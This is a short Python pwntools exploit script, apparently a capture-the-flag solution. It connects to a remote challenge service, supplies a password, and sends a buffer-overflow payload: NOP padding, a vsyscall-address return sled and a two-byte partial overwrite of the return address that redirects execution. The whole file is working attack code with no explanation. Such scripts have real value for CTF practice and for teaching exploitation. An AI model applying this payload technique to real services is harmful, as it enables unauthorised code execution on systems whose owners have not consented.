#!/usr/bin/env python
# encoding:utf-8

from utils import *

context.log_level = 'error'

RET_ADDR = 0xffffffffff600000

io = remote('school.fluxfingers.net', 1514)
# io = remote('0.0.0.0', 1514)
io.sendlineafter('password: ', '90')
io.send(nops(0x48) + p64(RET_ADDR) * 2 + p16(0x108B))
print io.recvall()
